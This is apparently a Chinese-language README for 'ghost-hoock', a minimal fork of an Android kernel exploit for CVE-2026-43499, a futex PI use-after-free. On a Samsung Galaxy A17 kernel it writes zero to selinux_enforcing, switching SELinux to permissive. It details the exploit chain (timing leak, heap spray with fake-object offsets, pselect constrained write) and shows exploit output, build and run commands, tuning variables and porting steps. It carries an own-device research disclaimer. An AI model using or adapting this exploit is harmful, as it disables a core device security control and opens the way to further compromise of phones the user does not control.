GhostLock 的一个极简分支,仅保留一个原语:通过 CVE-2026-43499(futex PI UAF)关闭 SELinux。
ghost-hoock 是 Mobile Hacking Lab 的 GhostLock 漏洞利用的精简分支,缩减为单一原语:
通过 futex PI UAF 进行一次受限写入 ->
selinux_enforcing = 0。
没有 root,没有 cred 覆写,没有 rwforge 通道,没有 UMH,没有 configfs。仅保留在存在漏洞的内核上将 SELinux 切换为宽容模式所需的最小内容。
在 Samsung Galaxy A17(SM-A175F,BZA5) 上的示例输出:
[] kernel: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[+] offsets matched: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[] init_cred image=ffffffc082512b08 alias=ffffff8002512b08
[+] startup context pid=10331 uid=2000 euid=2000 gid=2000 egid=2000 attr=u:r:shell:s0 enforce=1
[+] startup limits pid=10331 NoNewPrivs=0 Seccomp=0 Seccomp_filters=0
[+] build config pid=10331 label=ghost-hoock
[] p0 kernel_phys_load=0000000040000000 delta=0000000000000000 core=0
[] target selinux_enforcing=ffffff800277e560
[] W1 attempt 1/20
[] === W1: SELinux === target=0xffffff800277e560 mode=1
[] prepare_kernel_page ok attempt=1
[] pselect route setup simple=0 shift=0 page=ffffff806c4f0000 fake_lock=ffffff806c4f0000 ...
[] pselect returned ret=6 errno=0 calls=1 success=1 delay=0
[] pselect route done calls=1 success=1 step=0 errno=0
[+] SELinux DISABLED (attempt 1)
然后:
$ getenforce
Permissive
getenforce 返回 Permissive
该漏洞利用针对 CVE-2026-43499 —— Linux 内核 futex PI(优先级继承)rt_mutex 链中的一个释放后使用(use-after-free)漏洞。ghost-hoock 中的利用链分为四步:
针对内核 futex 哈希表的时序侧信道。我们在一组用户态 futex 上反复触发 FUTEX_WAKE_PRIVATE,测量 rdtsc 差值,并关联哈希桶碰撞。由此恢复出我们自己的 mm_struct 地址 —— 即我们后续所需的喷射页的基址。
这是 KernelSnitch 技术,逐字取自原始漏洞利用。
我们分配一个大的 order-3 slab 页,然后按照 PI 路径使用的伪造对象布局进行布置:
三个线程:
f_wait 上进入 FUTEX_WAIT_REQUEUE_PI,目标为 f_pi_target。f_pi_target 上持有 FUTEX_LOCK_PI,然后在 f_pi_chain 上持有。sched_setattr(tid, SCHED_BATCH, nice=19) 作用于 waiter 的 TID,触发 rt_mutex_setprio() 并强制内核遍历伪造的 PI 树。主线程的第四次调用 —— FUTEX_CMP_REQUEUE_PI(1, f_pi_target) —— 启动 requeue。在内核内部,rb_erase() 针对我们的伪造树运行。
pselect() / select() 将用户的 fd_set 复制到内核栈,随后遍历它。我们安排 fd_set 位图,使内核视为 rb-tree 指针的字落在 fake_right 及其父节点上 —— 由此产生的 rb_set_parent(child, parent) 变为:
*(uint64_t *)target = value | color
对于 mode = 1(Write 1),target = selinux_enforcing 且 value = base + 0x100,编码为 byte0 = 0, byte1 = 1。内核将 0 写入 selinux_enforcing[0] —— SELinux 现在处于宽容模式。
ret = 6(而非默认的 )确认写入已生效:consumer 在 期间命中了目标,提前将其唤醒。
这是 mobilehackinglab/ghostlock-a17(MIT)的分支。以下内容1:1 取自上游漏洞利用:
辅助代码(pr_* 宏、SYSCHK、pin_to_core、set_limit、set_unbuffer)也按原样保留自原版。
原始 GhostLock 在 A17 上实现了完整 root:它安装 rwforge 物理读/写通道,修补 cred / real_cred,以 init 凭据运行 UMH 辅助程序,捕获日志等等。在 ghost-hoock 中,第一次受限写入之后的所有内容都被移除。
原始 GhostLock 仍然比此分支更完整、更强大。ghost-hoock 不是替代品 —— 它是针对一个狭窄任务的最小 PoC:关闭 SELinux。
需要 $PATH 中有 clang 和 make。已在 Termux 上测试;如果工具链存在,也可通过 adb shell 工作。
git clone https://github.com/USERNAME/ghost-hoock
cd ghost-hoock
make
输出:./ghost-hoock(aarch64,PIE)。
通过 Android NDK(在 PC 上)
make NDK=/path/to/android-ndk-r26
或手动:
/path/to/ndk/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android21-clang \
-O2 -Isrc -Isrc/kernelsnitch -Iinclude \
-D_GNU_SOURCE -D__ARM=1 -DTARGET_CONFIG_H='"target.h"' \
-fPIE -pie -pthread \
src/main.c src/spray.c src/route.c -o ghost-hoock
交叉编译检查
file ghost-hoock
# ghost-hoock: ELF 64-bit LSB pie executable, ARM aarch64, ...
# copy the binary somewhere readable from the shell context
cp ghost-hoock /data/local/tmp/
chmod 755 /data/local/tmp/ghost-hoock
# confirm SELinux is currently enforcing
getenforce
# -> Enforcing
# run
/data/local/tmp/ghost-hoock
# verify
getenforce
# -> Permissive
选项
ghost-hoock [options]
--attempts N number of W1 attempts (default: 20)
--no-drain skip slab_drain before each W1 attempt
-h, --help show help
环境变量
· GHOSTLOCK_CORE — 0..N。consumer 线程绑定到的 CPU 核心。默认:0。 · KPHYS — 0x.... 内核物理加载地址,如果与 P0_KERNEL_PHYS_LOAD 不同。 · PREPARE_SLABS — 4..64。喷射期间准备的 slab 页数量。默认:32。 · PSELECT_SHIFT — -14..14。fd_set 字移位。仅调试用。 · FOPS_MAX_ATTEMPTS — 4..72。FOPS 载荷的 prepare_kernel_page 最大尝试次数。 · RWF_DEBUG — 任意值。打印载荷构建的调试行。
6.12.23-android16-5-abA175FXXS5BZD2-4k。shell SELinux 上下文(u:r:shell:s0)运行,而非从应用运行。移植: 其他设备/内核需要各自的偏移表。在
include/offsets_bza5.h中添加新的OFFSETS_ENTRY(...),填入从该构建的vmlinux/kallsyms提取的符号偏移,然后重新构建。
page_base 或落在无关内存上的写入会导致内核崩溃。该分支的攻击面比原版更小(无 rwforge、无 cred 修补、无 UMH),因此统计上更安全,但并非 100% 万无一失。slide = 0。此分支中没有 KASLR 泄漏。如果你将其移植到启用 KASLR 的内核,必须从原版恢复 slide.c。selinux_enforcing 写入 0。如果你需要 root,请使用完整的 ghostlock-a17。selinux_enforcing = 0)。除非深入理解 PI 路径,否则不要尝试将其扩展为 Write 2 或 rwforge 流水线。
ghost-hoock/
├── include/
│ ├── ghost_hoock.h # shared header, API
│ ├── offset.h # TARGET_CONFIG_H dispatcher
│ ├── offsets_bza5.h # symbol offsets (BZA5 only)
│ ├── runtime_struct_offsets.h # dynamic struct offsets (_RSO macros)
│ └── target.h # BZA5 addresses, payload layout
├── src/
│ ├── main.c # CLI, offset selection, W1 loop
│ ├── spray.c # KernelSnitch + heap spray + ashmem
│ ├── route.c # PI route + pselect constrained write
│ └── kernelsnitch/ # mm_struct leak (from upstream)
│ ├── kernelsnitch.h
│ ├── futex_hash.h
│ ├── timeutils.h
│ └── utils.h
├── docs/
│ └── img/
│ └── screenshot.jpg
├── Makefile
├── LICENSE
├── .gitignore
└── README.md
MIT —— 与上游 ghostlock-a17 相同。参见 LICENSE。
此分支保留 mobilehackinglab(2026)的原始版权声明,并在其上添加分支作者,符合 MIT 条款的要求。
本项目严格发布用于在你自己的设备上进行安全研究。在你不拥有的设备上运行它在大多数司法管辖区是非法的。
mm_struct 泄漏技术。为研究而构建。在单台物理设备上测试。使用风险自负。
| 偏移 | 对象 | 用途 |
|---|
0x0E80 | fake_lock | 伪造的 rt_mutex |
0x0F80 | fake_fops | 伪造的 file_operations 表 |
0x1180 | fake_w0 | 伪造的 rt_mutex_waiter,用作目标树 |
0x1240 | fake_right | 伪造的 rb-tree 右节点 —— 写入值即来源于此 |
0x1260 | fake_left | 伪造的 rb-tree 左节点 |
0x1280 | fake_task | 伪造的 task_struct |
整个页通过 AF_UNIX socket 以 SKB_SEND_SIZE = 2 * ORDER3_SIZE 的 sendmsg 发送,使 skb 数据落在我们泄漏的页上。然后我们以受控顺序释放它,使我们的页最终落在可回收的 per-cpu partial slab 上。
9select()| 组件 | 文件 | 说明 |
|---|
| KernelSnitch | src/kernelsnitch/* | 通过 futex 哈希时序泄漏 mm_struct |
| 堆喷射 | src/spray.c | 伪造对象布局、prepare_skb_payload、prepare_kernel_page |
| PI 路径 + pselect | src/route.c | prepare_pselect_fdsets、do_pselect_fake_lock_route、consumer_thread、waiter_thread、owner_thread |
| BZA5 偏移 | include/offsets_bza5.h | 从 6.12.23-android16-5-abA175FXXS5BZD2-4k 提取的符号表 |
| BZA5 目标头文件 | include/target.h | 地址布局、载荷偏移(仅 W1 子集) |
| 运行时结构体偏移 | include/runtime_struct_offsets.h | 用于 task_struct 字段的 _RSO() 宏 |
| 移除的文件 | 它在原版中存在的原因 |
|---|
rwforge_a17.c | 通过 pipe_buffers 的 Marching-forger 物理读/写通道 |
pipe_physrw.c、pipe_reclaim.c | Pipe-buffer 回收 -> 任意内核读/写 |
root.c | cred / real_cred 覆写、su 安装、SELinux SID 修补 |
umh_root.c、wq_umh_root()(在 main.c 中) | 从伪造的内核工作队列项运行 init 凭据辅助程序 |
slide.c | 通过 boot_id 预言机泄漏 KASLR —— BZA5 上不需要,KASLR 已关闭 |
miniadb.c | 通过 ADB TCP 引导 |
try_cfi_stage()(在 fops.c 中) | 用于引导 root 路径的 CFI 友好 configfs 阶段 |
run_rwforge()、run_bootid_oracle()、rwforge_root_and_capture() | 整个 root 流水线 |
install_embedded_su()、install_embedded_wallpaper() | Root 安装辅助程序 |
Write 2(cred)、patch_cred_*、patch_task_seccomp | W1 之后的凭据接管 |